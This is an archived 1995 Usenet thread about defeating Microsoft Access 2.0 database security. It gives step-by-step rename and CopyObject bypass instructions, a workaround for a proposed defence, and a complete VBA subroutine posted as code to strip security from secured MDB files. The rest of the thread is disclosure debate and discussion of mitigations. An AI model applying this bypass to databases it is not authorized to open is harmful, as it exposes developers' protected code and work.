Access Security bypass
Terry Crain
Of course, ADMIN has no permissions.
I don't know what users ( other than the default ones ) are available.
Anyone have any "insights" in reading a secure MDB, without passwords?
PS. This is a test to determine how "secure" Access security really is.
Weiqi Gao
Post your *.mdb file to a binary group, and let everyone have a shot
at it!
From what I read, once a *.mdb is properly secured, it's impossible to
get in w/o the password. Of course, password can be cracked (like in
NetScape), but it takes time.
--
Weiqi Gao
weiq...@crl.com
Alan M. Dunsmuir
> I've been challenged to read a table in an MDB.
>
> Of course, ADMIN has no permissions.
>
> I don't know what users ( other than the default ones ) are available.
>
> Anyone have any "insights" in reading a secure MDB, without passwords?
>
> PS. This is a test to determine how "secure" Access security really is.
>
'binary' hacking), be sure to post here how you did it, since to my
knowledge nobody has so far been able to break into a properly-secured
Access database, without the physical security of the work-groups passwords
having first been compromised.
--
Alan M. Dunsmuir [@ his wits end] (Can't even quote poetry right)
I am his Highness' dog at Kew
Pray tell me sir, whose dog are you?
[Alexander Pope]
PGP Public Key available on request.
Trevor Best
>I've been challenged to read a table in an MDB.
>Of course, ADMIN has no permissions.
>I don't know what users ( other than the default ones ) are available.
>Anyone have any "insights" in reading a secure MDB, without passwords?
>PS. This is a test to determine how "secure" Access security really is.
Do you have the system.mda that was used to create the app?
\|||/
/ \
C o o D
-----------------ooO--u--Ooo-------------------------------
If debugging is the process of removing bugs, then programming
must be the process of putting them in.
tre...@microprism.com - Microprism (UK) Limited
Terry Crain
>From: weiq...@crl.com (Weiqi Gao)
>Subject: Re: Access Security bypass
>Date: Sat, 04 Nov 1995 23:42:02 GMT
>tlc...@ghgcorp.com (Terry Crain) wrote:
>>I've been challenged to read a table in an MDB.
>>Of course, ADMIN has no permissions.
>>I don't know what users ( other than the default ones ) are available.
>>Anyone have any "insights" in reading a secure MDB, without passwords?
>>PS. This is a test to determine how "secure" Access security really is.
as an update to my project, I've been able to find out the users :
File -> Open Database -> "....SYSTEM.MDA"
The Table AccessPreferences contains the column Username.
Chris Gammon
something like Nortons Utilities to have a low-level look at the database
and see if you can find the information. A bit tiresome but I'm told it
can be done (fortunately I haven't had to do this myself).
Another possibility is to check to see if the standard User and Guest
users can get in to the database (if the database has been secured
properly they will have no rights either).
Regards,
Chris Gammon
Canberra, Australia
Andres Rodriguez
> tlc...@ghgcorp.com (Terry Crain) wrote:
>
> >I've been challenged to read a table in an MDB.
>
> >Of course, ADMIN has no permissions.
>
> >I don't know what users ( other than the default ones ) are available.
>
> >Anyone have any "insights" in reading a secure MDB, without passwords?
>
> >PS. This is a test to determine how "secure" Access security really is.
>
> at it!
>
> From what I read, once a *.mdb is properly secured, it's impossible to
> get in w/o the password. Of course, password can be cracked (like in
> NetScape), but it takes time.
>
> --
> Weiqi Gao
> weiq...@crl.com
>
get into it. The problem stems from the fact that the SID (Security ID) generated when
the SYSTEM.MDA file is created is also linked in with the MDB file. The MDB file knows
what SIDS have access to objects in the database as well as what permissions the SIDS
have in the database. Here is where you get screwed... When an account gets created you
are asked for some digits. Those digits, the login name, password, time on the computer
(to microseconds), and god knows what else are used to generate a 64 digit SID. That
SID for all practical purposes can NOT be reproduced. So, even if you got the original
login name and password for that account and created a new account for your SYSTEM.MDA
file you will still not have access to the database. BTW: Groups are the same, they
also have SIDS. So your local ADMIN group has a different SID than the original SID. So
even if you joined your ADMIN group (which you are a member of by default) you still
don't have access to the database. You can read all about this in Microsoft's Security
White paper available at their FTP site.
Andy at the Rocket Ranch (NASA-Kennedy Space Center)
Voice: (407) 867-5019
Steven Drinovsky
>
>I've been challenged to read a table in an MDB.
>
>Of course, ADMIN has no permissions.
>
>I don't know what users ( other than the default ones ) are available.
>
>Anyone have any "insights" in reading a secure MDB, without passwords?
>
>PS. This is a test to determine how "secure" Access security really is.
Do y'all want the answer?
I have cracked Access security and it is quite simple.
I am trying to get it published, but I have not found
a place that seems that interested in large bugs in
Microsoft apps like this.
Steven
Alan M. Dunsmuir
> Do y'all want the answer?
> I have cracked Access security and it is quite simple.
> I am trying to get it published, but I have not found
> a place that seems that interested in large bugs in
> Microsoft apps like this.
You post your 'method' here, and we'll tell you on which line you go wrong
for the first time.
Trevor Best
sdrin...@wic.tdh.state.tx.us (Steven Drinovsky) wrote:
>Do y'all want the answer?
>I have cracked Access security and it is quite simple.
>I am trying to get it published, but I have not found
>a place that seems that interested in large bugs in
>Microsoft apps like this.
My mail to you on this bounced back with too many hops (and it wasn't
even making beer:), basically what I said was I havn't yet gotten
around to trying it yet in Access 7.0 (haven't even tried it in 2.0
yet), due to me being so busy, my mailbox fills up with Access
questions quicker than I can empty it.
Michael Catchpole
>
>The way to do it is to cheat. Back up the source .mdb file(s) to
>floppy, restore it/them on another PC with Access and read away.
>
>Alternatively, overwrite system.mda with an unsecured copy.
Depending on how it was secured, this may work, or it may leave you in a state
where you can't even OPEN the database.
If the person who secured the database knew what they were doing, then there's
basically no way to break the security without resorting to brute force,
unless someone out there has come up with something to do it since we
researched it a month ago.
He said admin had no permissions, so overwiting system.mda would be useless.
--
*******************************************************************************
* Michael Catchpole | If at first you don't succeed, destroy *
* mc1...@cnsunix.albany.edu | all evidence that you tried! *
*******************************************************************************
John Lockhart
>Do y'all want the answer?
>I have cracked Access security and it is quite simple.
>I am trying to get it published, but I have not found
>a place that seems that interested in large bugs in
>Microsoft apps like this.
Forgive my scepticism steven, but we hear this every week, and it is always
someone who doesn't understand the security.
If you post your method to a few of the cabal ^h^h^h^h^h regulars (i'm sure
gillian and trevor and joe and weiqi would do) and they say you are right,
then you will have such an army behind you that Bill Gates himself would have
sleepless nights. Yea, with all the host of heaven fighting on the side of
truth, led by the angel Michael (or is it gabriel?) himself, could even Bill
dare to stand!
On the other hand i'm pretty sure you're wrong so you could just post it here.
Thanks for sharing anyway ;-)
- john lockhart
Steven Drinovsky
>
>On 10 Nov 1995 22:23:55 GMT in comp.databases.ms-access,
>sdrin...@wic.tdh.state.tx.us (Steven Drinovsky) wrote:
>
>
>My mail to you on this bounced back with too many hops (and it wasn't
>even making beer:), basically what I said was I havn't yet gotten
>around to trying it yet in Access 7.0 (haven't even tried it in 2.0
>yet), due to me being so busy, my mailbox fills up with Access
>questions quicker than I can empty it.
>
I wasn't sure if my mail even got to you, but I guess it did.
My machine crashed about a week ago and I was moved to a
diferent segment and things are not as they seem, most of my
mail is not getting through. :(
But anyway, here is the article that I sent to a few magazines.
Would someone with Access 7 check this out and post the results
here or mail me?
*******************************************************************************
Security Hole In Microsoft Access 2.0
While the security features for Microsoft's Database application called Access
have been confusing at best it is thought to be hard to break when implemented
correctly. I have discovered that this is not the case. It turns out, due to
a few bugs in Access that anyone can bypass the security. To explain this hole,
I will first talk about "deleted" objects and how Access deals with them.
When an object (Form, Report, Module, etc.) is deleted within Access it is not
removed from the database. It hangs around kind of like a deleted dos file; it
is there, but you can not see it. This means that a deleted object can be restored,
contrary to Microsoft Tech Support. The first step in recovering a deleted object
is to look at the system table MSysObjects. This table list all the objects in
the current database including deleted objects. To open this table set the "Show
System Objects" property to true under the general options menu. This table has
many columns that Access uses to gather information about the object, the one we
are interested in is the "Name" column in particular the names beginning with a
"~TMP." These are your deleted objects. To open one of these objects you need to
know the type of the object from the "Type" column. Possible values include 1,4,5,6
for tables, -32761 for Modules, -32764 for Reports, -32766 for Macros, and -32768 for
Forms. Once you know the type, you can view the deleted object by one of the following
commands: OpenTable, OpenModule, OpenReport, or OpenForm. For Example, typing:
DoCmd OpenTable "~TMPCLP-305701"
in the immediate window will open the deleted table ~TMPCLP-305701.
Now that we know how to recover deleted object, I will get the security hole. The
First bug is a lack of checks when you rename a module, form, report, or macro (this
does not work for Queries or tables) to the same name as a secured object. Let's say
you have a database with an Autoexec macro and you do not have permission to delete
it, simply rename another Macro to "Autoexec" and the old Autoexec macro will be
replaced. Be sure to answer yes when asked to over-write the old macro. Access
allows the original file to be deleted even though you do not have the rights!
Here is where the deleted files I talked about earlier come into play. The next bug
involves copying deleted objects. When an object is deleted be renaming anther object
to the same name, it has not been removed, only renamed to something like
~TMPCLP-305701. However, Access security is still enabled on this object. What
needs to be done now is to make a copy of the object that you have rights to view.
This can be done using the CopyObject command. From the immediate window type
DoCmd CopyObject,"New",A_MODULE,"~TMPCLP-305701"
Where New is the name of the new object, A_MODULE is the type of object, and
~TMPCLP-305701 is the name of the object to copy. Access allows deleted objects
to be copied even if the user dose not have rights to copy them! Now that the object
has been copied, you are the owner and can do anything you want to this object but
remember, it is still deleted so you will not see your new object in the Database window.
Using this technique, you can gain access to any Module, Form, Report, or Macro by
using these simple commands:
1) Rename
2) CopyObject
3) OpenForm, OpenReport, OpenModule, or OpenTable
*************************************************************************************
Steven
Steven Drinovsky
:) don't you think I did, but I was checking a few things out, like if
this works on Access 7 or not. That is why I waited before posting and
well, my machine crashed. I posted the solution, so check it out
if you want.
Steven
Alan M. Dunsmuir
> While the security features for Microsoft's Database application called
Access
> have been confusing at best it is thought to be hard to break when
implemented
> correctly. I have discovered that this is not the case. It turns out,
due to
> a few bugs in Access that anyone can bypass the security. To explain this
hole,
> I will first talk about "deleted" objects and how Access deals with them.
>
I suggest you look under Access' initial 'File' menu (before you open a
Database). You will find a MenuItem there called 'Compact a database...'.
Play around with it a little. I think you will find its operation very
instructive and, from the tone of your 'discovery' posting, rather
surprising.
No wonder the magazines didn't bother to reply.
CC Tarrer
difficult to implement properly, but you're just gonna have to prove it to
me.
Peter Miller
but quickly summed up, the idea is to copy any object over a
secured object, thereby deleting the secured object. Then,
the deleted object is copied to a new deleted object using the
CopyObject action, effectively changing the owner and shaking
off permissions. The new deleted object can then be read in
full.
This works as described, as long as you remember to turn off
syntax checking if the object is a module, otherwise your new
'bogus' module lacks the subs/functions of the secured module
and overwriting the secured module will probably result in a
syntax error that will halt the operation.
However, to thwart this approach there are a couple of steps
that can be easily taken. The stage where you copy over the
original secured object relies upon Access's failure to
enforce security on the implicit deletion of the secured
object. This only occurs if you are in the secured database.
If you attempted to do this to an unopen database (which is a
possibility with the CopyObject action), Access correctly
enforces security and prevents you from deleting the original
object.
This is important for a reason. If you are limited to using
the CopyObject action or its equivalents within the secured
database, there are certain types of names that are not
copyable. For instance, one method is to use the second ascii
space (chr$(160)) rather than the regular space (chr$(32)) in
your original object name before you secure it. when someone
attempts to copy over your secured module, they won't be able
to generate the character interactively (because the Alt-Space
keystroke will be caught by the windows first), and if they
compose a string with the chr$() function to include the
second space character, the string will be correct, but using
it in the CopyObject action will generate an illegal function
call.
While I'm not prepared to guarantee that this approach is
completely secure, Its a quick way to thwart the suggested
hack.
Peter Miller
PK Solutions
Steven Drinovsky
>
>I suggest you look under Access' initial 'File' menu (before you open a
>Database). You will find a MenuItem there called 'Compact a database...'.
>
Yes 'Compacting a database' removes deleted objects, but what are you
getting at? The temp objects are removed when the database is closed
anyway so this has no effect at all. Anyway do you expect me (when
trying to crack a database) to compact it after I delete an object?
But if you want to compact the database after you deleted an undeletable
object, then be my guest, but if you want to see what was in that object
then don't compaact the db.
BTW, no I did get replies back from some of the magazines, and yes this
does work. Maybe you'd want to send me a database and see, just make
sure guest has permission to open the database and I will send back
every line of code. And what was the current bet anyway, kissing ones
feet?
Steven
Steven Drinovsky
>This is important for a reason. If you are limited to using
>the CopyObject action or its equivalents within the secured
>database, there are certain types of names that are not
>copyable. For instance, one method is to use the second ascii
>space (chr$(160)) rather than the regular space (chr$(32)) in
>your original object name before you secure it. when someone
>attempts to copy over your secured module, they won't be able
>to generate the character interactively (because the Alt-Space
>keystroke will be caught by the windows first), and if they
>compose a string with the chr$() function to include the
>second space character, the string will be correct, but using
>it in the CopyObject action will generate an illegal function
>call.
>
>While I'm not prepared to guarantee that this approach is
>completely secure, Its a quick way to thwart the suggested
>hack.
>
Almost :)
This is true DoCmd CopyObject ,"new",A_MODULE,
"Module1" & chr(160) will not work.
So, to get around copying objects with extended characters:
1) cut and paste the object name from the MSysObjects table.
2) from the immediate window type ? chr(160) and then
cut and paste it the results.
Steven
Peter Miller
In article <685620...@moonrake.demon.co.uk> Alan M. Dunsmuir wrote:
>I suggest you look under Access' initial 'File' menu (before you open a
>Database). You will find a MenuItem there called 'Compact a database...'.
>
>Play around with it a little. I think you will find its operation very
>instructive and, from the tone of your 'discovery' posting, rather
>surprising.
>
>No wonder the magazines didn't bother to reply.
Actually, Alan, maybe you're the one who could do with a little further
review.
Obviously compacting a database removes deleted objects, but the whole
point of the post is the security flaw angle. If someone gives you a
secured database (yes, yes, they've already compacted it), you can in
general access their modules, forms, reports etc by taking advantage of
the fact that these objects aren't truely deleted when they're
overwritten.
Additionally, compacting is even less relevant in a case like this because
if you try and compact a secured database after overwritting its secured
objects, the compact process fails because you don't have the right to
purge the deleted objects - some of the access privileges remain.
The magazine's lack of attention was probably caused by the same sort of
'It couldn't be true or I would have know about it' attitude that you've
exhibited.
Peter Miller
PK Solutions
John Lockhart
>J.W.Lo...@massey.ac.nz (John Lockhart) says:> >
> >In article <480jdr$r...@turkey.tdh.texas.gov> sdrin...@wic.tdh.state.tx.us (Steven Drinovsky) writes:
[that he had broken the security in access 2]
[I've snipped most of my somewhat sarcastic post]
> >On the other hand i'm pretty sure you're wrong so you could just post it
> >here. Thanks for sharing anyway ;-)
> >
> > - john lockhart
>:) don't you think I did, but I was checking a few things out, like if
>this works on Access 7 or not. That is why I waited before posting and
>well, my machine crashed. I posted the solution, so check it out
>if you want.
*sounds of hat being eaten*
*humble pie for desert*
i haven't had time to check it out myself, but since you do seem to know more
than me, i'll apologise in advance.
- john "big mouth" lockhart
Steven Drinovsky
<snip>
>I guess you've found something there... but - there is a but...!
>This technique assumes that you have the right to create new objects,
>which inturn are then renamed to 'overwrite' the ones you don't have
>permission to.
>By default - once you're in the database, which is what you are
>assuming as well (it could also be, that you don't have the rights to
>open the db at all...!) - you always have the right to create new
>objects, unless you take even this right from the user by code.
>
<snip>
Well first, yes I am assuming that I have access to open the database.
If I were going to only give people I trust access to the database, then
I would just use pgp and encrypt the file and send it to them w/o security.
That is much easier then securing a database for someone who you trust.
Also, I have found out, that you do not need rights to create a new object.
I think Peter Miller did or was going to post a nice little function that
will desecure any database that can be opened by anyone (guest, admin, Joe Blow).
Even if they have every possible right taken away execpt Open rights.
So, the only way to secure a db would be to not let anyone open it, but that
would be usless.
Later,
Steven
Peter Miller
In article <487p73$k...@news00.btx.dtag.de> Guido Grillenmeier wrote:
>sdrin...@wic.tdh.state.tx.us (Steven Drinovsky) wrote:
>(snip)
>
>>Using this technique, you can gain access to any Module, Form,
>>Report, or Macro by using these simple commands:
>>1) Rename
>>2) CopyObject
>>3) OpenForm, OpenReport, OpenModule, or OpenTable
>>Steven
>
>Hi Steven,
>
>I guess you've found something there... but - there is a but...!
>This technique assumes that you have the right to create new objects,
>which inturn are then renamed to 'overwrite' the ones you don't have
>permission to.
>By default - once you're in the database, which is what you are
>assuming as well (it could also be, that you don't have the rights to
>open the db at all...!) - you always have the right to create new
>objects, unless you take even this right from the user by code.
>
>Now this is where I fail to prove my point, since I've only read this
>in the MS-Whitepaper on Access-Security - I haven't yet been able to
>take this right by code myself, though I do setup security of my data-
>bases, that someone, whom I don't want to enter (even with his retail
>version and his own system.mda) doesn't get a right to open the database
>or the app-files at all !!!
>
>So there is some more thinking to do, but you have a point there... :)
>
>-Guido-
You can bypass the restriction on creating new modules by using the code I posted
here for automating steven's idea, and placing it in your own library database.
You could also cause the immediate window to pop up without having to have an
open module (as detailed some time back) through code (which you would also place
in the library database).
The point about being shut out of a database you can't even open is of course
correct, but most secured databases don't keep you out of the MDB completely.
Peter Miller
PK Solutions
Pksol
didn't show on my newsreader. I've it turns out to be a duplicate, please
ignore it.
Included below is the necessary code to break into secured Access MDB
files.
I'm posting this for a reason. The methods Microsoft claims you can
use to secure an Access application are not adequate.
While its true that insecure Access applications are usually the fault
of the developer who fails to fully understand the security model, the
code below will allow you inside even a 'correctly' secured
application.
As a developer, this pisses me off. There are workarounds to try and
thwart this process, and apparently Access 95 is 'supposed' to fix this
flaw, but perhaps the best way of discrediting the current security
model is to distribute the code that renders it useless.
Some final points:
1) I didn't come up with this concept - just the code.
2) Despite denials, MS knows about the problem
Peter Miller
PK Solutions
================================================================
INSTRUCTIONS:
----------------------------------------------------------------
Open your secured database, bypassing the AutoExec macro (if one
exists) by holding down the shift key as you open the MDB.
Move to the Modules tab, and create a new module. Don't save it.
Copy the following subprocedure into this new module.
Open the Immediate Window, and type 'Insecure'.
An unsecure application called INSECURE.MDB will be created in
the default directory.
==================================================================
Sub Insecure ()
On Error Resume Next
DoCmd Hourglass True
Dim I%, Tmp, MyDb As Database
Kill "insecure.mdb"
Set MyDb = DBEngine(0).CreateDatabase("insecure.mdb", DB_LANG_GENERAL)
Set MyDb = DBEngine(0)(0)
For I = 0 To MyDb.TableDefs.count - 1
Tmp = MyDb.TableDefs(I).name
If Mid(Tmp, 2, 3) <> "Sys" Then DoCmd CopyObject "Insecure.mdb",
Tmp, A_TABLE, Tmp
Next I
For I = 0 To MyDb.QueryDefs.count - 1
Tmp = MyDb.QueryDefs(I).name
DoCmd CopyObject "Insecure.mdb", Tmp, A_QUERY, Tmp
Next I
For I = 0 To MyDb.containers("Forms").documents.count - 1
Tmp = MyDb.containers("Forms").documents(I).name
DoCmd CopyObject "Insecure.mdb", Tmp, A_FORM, Tmp
Next I
For I = 0 To MyDb.containers("Reports").documents.count - 1
DoCmd CopyObject "Insecure.mdb", Tmp, A_REPORT, Tmp
Tmp = MyDb.containers("Reports").documents(I).name
Next I
For I = 0 To MyDb.containers("Scripts").documents.count - 1
Tmp = MyDb.containers("Scripts").documents(I).name
DoCmd CopyObject "Insecure.mdb", Tmp, A_MACRO, Tmp
Next I
For I = 0 To MyDb.containers("Modules").documents.count - 1
Tmp = MyDb.containers("Modules").documents(I).name
DoCmd CopyObject "Insecure.mdb", Tmp, A_MODULE, Tmp
Next I
DoCmd Hourglass False: Beep
MsgBox "The unprotected app (INSECURE.MDB) has been created.", 64
End Sub
Trevor Best
sdrin...@wic.tdh.state.tx.us (Steven Drinovsky) wrote:
>So, the only way to secure a db would be to not let anyone open it, but that
>would be usless.
Would this work on an encrypted db?
Weiqi Gao
sdrin...@wic.tdh.state.tx.us says...
>
>Patrick Laarhoven wrote:
>>
><snip>
>> This REALLY WORKS!!!!! It's incredible, but it does. Man you're a genius
;)
>>
>Gee, thanks, you made my day. ;)
Wow! It worked!
I have been follwoing the Access 2.0 Security Bypass thread closely,
because of my interest in the evolution of Access. Back in June, when I
first came to this news group, I voiced my doubts about Access 2.0's
security scheme. I was "taught the lesson" on the Security Wizard and
the White Paper stuff by no other than Steven.
Now on to my experiment:
1. In Access 2.0 on Windows 3.1, I created a new database db1.mdb with one
object in each tab: Table1, Query1, Form1, Report1, Macro1, Module1.
2. I then went ahead and secured the database following exactly the
procedure outlined in the White Paper. In addition, I removed Admin
from the Admins group.
3. I then performed the steps outlined in Steven's post and managed to
unsecure the unsecurable part of the database in 20 minutes. I can
confirm now that Steven's post is 99% correct (except the part when he
called this security hole a "BUG".)
4. Peter Miller's code also did exactly what it advertised to do, in
seconds.
Now some comments:
1. As is pointed out in Steven's post, Tables and Queries are immune to
this "CopyObjects" security attack. Peter's code also does not move
properly secured Tables and Queries. At no time are my secured data
data at any risk.
2. The starting point of this attack is the Database Window of the
secured database. Whether or not the database itself is encrypted is
immaterial at this point.
3. The fact that this attack does not work on Tables and Queries show
that the author of the command KNOWS about the bug. It is highly
probable that this command is a backdoor rather than a bug. It almost
has to be deliberately put in there. At least we can say that Microsoft
is deliberately NOT looking into this problem (they might have much
urgent metters to attend.)
4. Once this bug is reported to the public, it should be very easy for
Microsoft to fix the problem (until the next attack succeeds.) However
it might not make too much sense to fix it in Access 2.0, because of the
vast amount of Access 2.0 *.mdb's already out there.
5. The biggest loser of this round of Access security attack are Access
programmer's who used the security features to protect their CODE. I
would expect that there would be monetary losses to some of the Access
ISVs and Solution providers.
6. Whatever fix Microsoft choose to make, it would have to rely on a
new *.mdb format not recognized by Access 2.0. I don't know if Access
96 already have this problem fixed or not.
Actions:
Access 2.0 code protection security is a lost cause, it seems to me.
Upgrade to Access 2.0s (Access 2.0 with Security) immediately when it
comes out (if ever)!
--
Weiqi Gao
weiq...@crl.com
Steven Drinovsky
>
<snip>
> This REALLY WORKS!!!!! It's incredible, but it does. Man you're a genius ;)
>
Gee, thanks, you made my day. ;)
See Peters post about this, he has a much better function that gets around
all the little problems mine has.
<snip>
> The "binary" undelete trick (suggested by Peter) however usually doesn't
> work since a really secure application is encrypted and you can't find the
> delete byte (since you can't find the name of the object in the file).
>
On his behalf, I think he was suggesting this for a programmers benefit
not the crackers benefit. However, I am sure there must be an undocumented
feature to flip this "deleted" bit in the objects flags - other wise, why
keep the file around?
> Patrick
Steven
--
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+ Steven Drinovsky sdrin...@wic.tdh.state.tx.us +
+ Texas Department of Health, home (512) 453-2317 +
+ WIC Automation work (512) 458-7111x3476 +
+ Just say no to Win95; Linux Yes Pager 800-624-7243 PIN#145-9112 +
+ My opinions are my own and by no means represent the state of Texas. +
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Copyright (C) 1995 by Steven Drinovsky.
Peter Miller
In article <48j3bu$p...@nntp.crl.com> Weiqi Gao wrote:
<Snip> <Snip> <Snip>
>Now some comments:
>1. As is pointed out in Steven's post, Tables and Queries are immune
to
>this "CopyObjects" security attack. Peter's code also does not move
>properly secured Tables and Queries. At no time are my secured data
>data at any risk.
Yes, I'm sorry about that. I should have run a final test after writing
the code. I'll take a further look at it, in case there's another way.
<Snip>
>5. The biggest loser of this round of Access security attack are
>Access programmer's who used the security features to protect their
>CODE. I would expect that there would be monetary losses to some of
>the Access ISVs and Solution providers.
Ain't it always the case. However, I'm a pretty firm believer that most
database applications derive their value from the combined functionality
of their components. Programs like Stac's Stacker and QEMM's memory
packages rely primarily upon core algorithms, which if revealed cause
real loss to the companies involved. Most database applications have no
single core piece of code that, if revealed, lays waste to the rest of
the application's inherent worth.
Instead, one of two outcomes is most likely. Either a power-user will
modify small parts of your app or a competitor will walk away with a
couple of pieces of code, and begin writing a major app from that point.
In the first case, either the power-users revisions work, and everyone
is pleased, or they don't, in which case the power user is the only one
dragged over the coals ('Dont mess with their code - they're the
experts! leave the app the way it was!').
In the second case, this happens anyway. Although its obviously
illegal, does anyone seriously believe that Microsoft doesn't go over
Lotus's code before issuing a major upgrade. Usually its a little more
difficult than the problems we're discussing with Access, but its always
a possibility to get to a programs code in a traditional Windows
environment. If you can't read the file from disk, or expose it in full
with a security flaw, you can view the program in detail as it
manipulates memory, disk services, devices etc, or decompile it.
Peter Miller
PK Solutions
Peter Miller
In article <48livb$7...@fuji.ixl.net> GeorgeM wrote:
>Is there a way to prevent a user from being able to create a new
>module?
Actually, I was suprised. When establishing security, you can deny permission
for the creation of new objects of each type (tables/queries/forms/reports/macros
and modules). The Table and Query permissions seem to work, but even when you've
denied the permissions for other new objects, nothing prevents you from going
into design mode once you click on the New button on the database window.
Its really rather stupid. If I deny a user the permissions necessary to create
modules or forms, I want them to be stopped before they start designing. Why not
simply have the New buttom disabled as well as the corresponding menu choice?
So the answer is no, there is no way I have found to deny a user the ability to
open up a new code window.
Peter Miller
PK Solutions
Trevor Best
M. Dunsmuir" <Al...@moonrake.demon.co.uk> wrote:
> I am his Highness' dog at Kew
Disney are remaking their cartoon with real actors, Wil Carling stars
in Poke her Highness :-)
Alan M. Dunsmuir
> Actions:
> Access 2.0 code protection security is a lost cause, it seems to me.
> Upgrade to Access 2.0s (Access 2.0 with Security) immediately when it
> comes out (if ever)!
>
These security holes are all sealed in Access7.
It is extremely unlikely that any enhancement will be issued, addressing
this or any other issue, for Access2, since MS is not interested an any
further 16-bit development work.
--
Alan M. Dunsmuir [@ his wits end] (Can't even quote poetry right)
I am his Highness' dog at Kew
Weiqi Gao
>
>>5. The biggest loser of this round of Access security attack are
>>Access programmer's who used the security features to protect their
>>CODE. I would expect that there would be monetary losses to some of
>>the Access ISVs and Solution providers.
>Ain't it always the case. However, I'm a pretty firm believer that most
>database applications derive their value from the combined functionality
>of their components. Programs like Stac's Stacker and QEMM's memory
>packages rely primarily upon core algorithms, which if revealed cause
>real loss to the companies involved. Most database applications have no
>single core piece of code that, if revealed, lays waste to the rest of
>the application's inherent worth.
But the applications inherent worth might lie in the Technical Support
Service Contract. That's where this CopyObject bug hurts. With the
help of the FAMOUS "INSECURE" FUNCTION FROM THE INTERNET :) , I can
support ALL (well, almost all, I still can't fix those denormalized
schemas) Access 2.0 derived programs in the world, for free (if I
wanted to.)
--
Weiqi Gao
weiq...@crl.com
GeorgeM
module?
I think it is disgusting that it is so simple to un-secure a database.
It really is a joke. The code un-secured a db like a hot knife
through butter. It took all of a minute for this code to shred the
security that takes a million hours to figure out - and even when
implemented properly is inadequate. Unbeliveable.
Alan M. Dunsmuir
writes:
> Its good to know about Access7. Like most everyone else on the mailing
list, I'm
> still awaiting mine.
3.5" upgrade packs have been available - certainly in the UK and I think in
the US as well - for a month now. Only the CDs (which means effectively
everybody who ordered the Office Pro Upgrade) are still delayed.
Peter Miller
In article <784567...@moonrake.demon.co.uk> Alan M. Dunsmuir wrote:
>> Access 2.0 code protection security is a lost cause, it seems to me.
>> Upgrade to Access 2.0s (Access 2.0 with Security) immediately when it
>> comes out (if ever)!
>>
>
>These security holes are all sealed in Access7.
>
>It is extremely unlikely that any enhancement will be issued, addressing
>this or any other issue, for Access2, since MS is not interested an any
>further 16-bit development work.
Its good to know about Access7. Like most everyone else on the mailing list, I'm
still awaiting mine.
Damn straight MS won't get around to a fix. Why provide a free patch that helps
keep Access 2.0 in the running when you're pushing as hard as nails to convince
corporate users that Access 95 is the way to go (if not with Win95, then NT)?
Peter Miller
PK Solutions
Steven Mills
>From: sdrin...@wic.tdh.state.tx.us (Steven Drinovsky)
>Subject: Re: Access Security bypass
>Date: 13 Nov 1995 22:26:14 GMT
>Almost :)
>This is true DoCmd CopyObject ,"new",A_MODULE,
>"Module1" & chr(160) will not work.
>So, to get around copying objects with extended characters:
>1) cut and paste the object name from the MSysObjects table.
>2) from the immediate window type ? chr(160) and then
> cut and paste it the results.
>Steven
Am I being unduly naive, or is it correct to say that a properly repaired and
compacted application daatabase will not have any deleted objects, thereby
rendering this process ineffective?
___^_^____^_^____^_^____^_^____^_^___^_^____^_^____^_^____
Steven Mills
Northstar Computer Resource
Net: nort...@pacificrim.net
WWW: http://www.pacificrim.net:80/~northstr/
CIS: 73700,3462
Must...save....the brain...
___^_^____^_^____^_^____^_^____^_^___^_^____^_^____^_^____
Weiqi Gao
>In article <488gm6$g...@turkey.tdh.texas.gov> sdrin...@wic.tdh.state.tx.us (Steven Drinovsky) writes:
>>From: sdrin...@wic.tdh.state.tx.us (Steven Drinovsky)
>>Subject: Re: Access Security bypass
>>Date: 13 Nov 1995 22:26:14 GMT
>>Almost :)
>>This is true DoCmd CopyObject ,"new",A_MODULE,
>>"Module1" & chr(160) will not work.
>>So, to get around copying objects with extended characters:
>>1) cut and paste the object name from the MSysObjects table.
>>2) from the immediate window type ? chr(160) and then
>> cut and paste it the results.
>>Steven
>Am I being unduly naive, or is it correct to say that a properly repaired and
>compacted application daatabase will not have any deleted objects, thereby
>rendering this process ineffective?
It is correct to say that a properly repaired and compacted
application database will not have any deleted objects. However this
fact alone has no effect whatsoever Steven's method.
This CopyObject security hole reminds of the first time I read one of
the UNIX FAQs. One of the questions is the following:
Q: I have discovered a huge security hole in the mv command.
And the answer goes somewhat like:
A: No you haven't. You need a lesson on UNIX secirity.
The first time I saw Steven's post, I had the same reaction: "This
can't be! The Microsoft Engineers aren't that stupid." Because what
Steven has discovered is exactly a security hole in the Access version
of the "mv" command. But the procedure takes only 20 minutes to
verify. And it is a security hole.
--Ross Perot Suspicious Hat On--
I have been pondering on the second part of my thought since
yesterday: "Is Microsoft that stupid?" And I have circumstancial
evident that Microsoft is NOT stupid:
1. CopyObject protects Tables and Queries and not the other four type
of objects.
2. The public release on the security hole that almost coincides with
the release of Access 95.
3. Lack of reaction from Microsoft.
4. Lack of reactions from the prominent MS Solution Providers (I'm not
one) in this news group.
Can you think of a more convenient way to convince Access 2.0 users to
upgrade to 95?
Go ahead and discover a security hole in Access 95, I bet you'll get a
big fat Non-Disclosure Contract to keep your mouth shut for 18 months.
Intel tried that for the Pentium FDIV bug, didn't they.
--
Weiqi Gao
weiq...@crl.com <Pure speculation enclosed, read at own risk.>
Jerry Jackson
>I've been challenged to read a table in an MDB.
>Of course, ADMIN has no permissions.
>I don't know what users ( other than the default ones ) are available.
>Anyone have any "insights" in reading a secure MDB, without passwords?
>PS. This is a test to determine how "secure" Access security really is.
At long last. After following this thread, I am now fairly certain
this hack was used to compromise one of my Access apps. I had certain
information embedded in the code which was specific to each of my
customer's business locations. I then found out they were successfully
using my app at all their other locations without paying me for it.
I received numerous replies several weeks ago when I posted about how
to properly secure my stuff. I was pointed to the Security Wizard, the
white paper, here and there and so forth.
The potential dent in my income has expanded even further with the new
VB decompiler out there. I suspect it will be used to disable the
hardware lock checking portion of my code in several of my VB apps, no
doubt by the same hotshot who broke into my Access code.
Now that I'm using Access 7, I'm sure it's only a matter of time
before it is compromised too.
--
Jerry Jackson (je...@iag.net)
GeorgeM
acknowledged this flaw? Or are they trying to sweep it under the rug.
Gunnar Dalseth
>
>In article: <48j3bu$p...@nntp.crl.com> weiq...@crl.com (Weiqi Gao) writes:
>> Actions:
>> Upgrade to Access 2.0s (Access 2.0 with Security) immediately when it
>> comes out (if ever)!
>>
>
>These security holes are all sealed in Access7.
>
>It is extremely unlikely that any enhancement will be issued, addressing
>this or any other issue, for Access2, since MS is not interested an any
>further 16-bit development work.
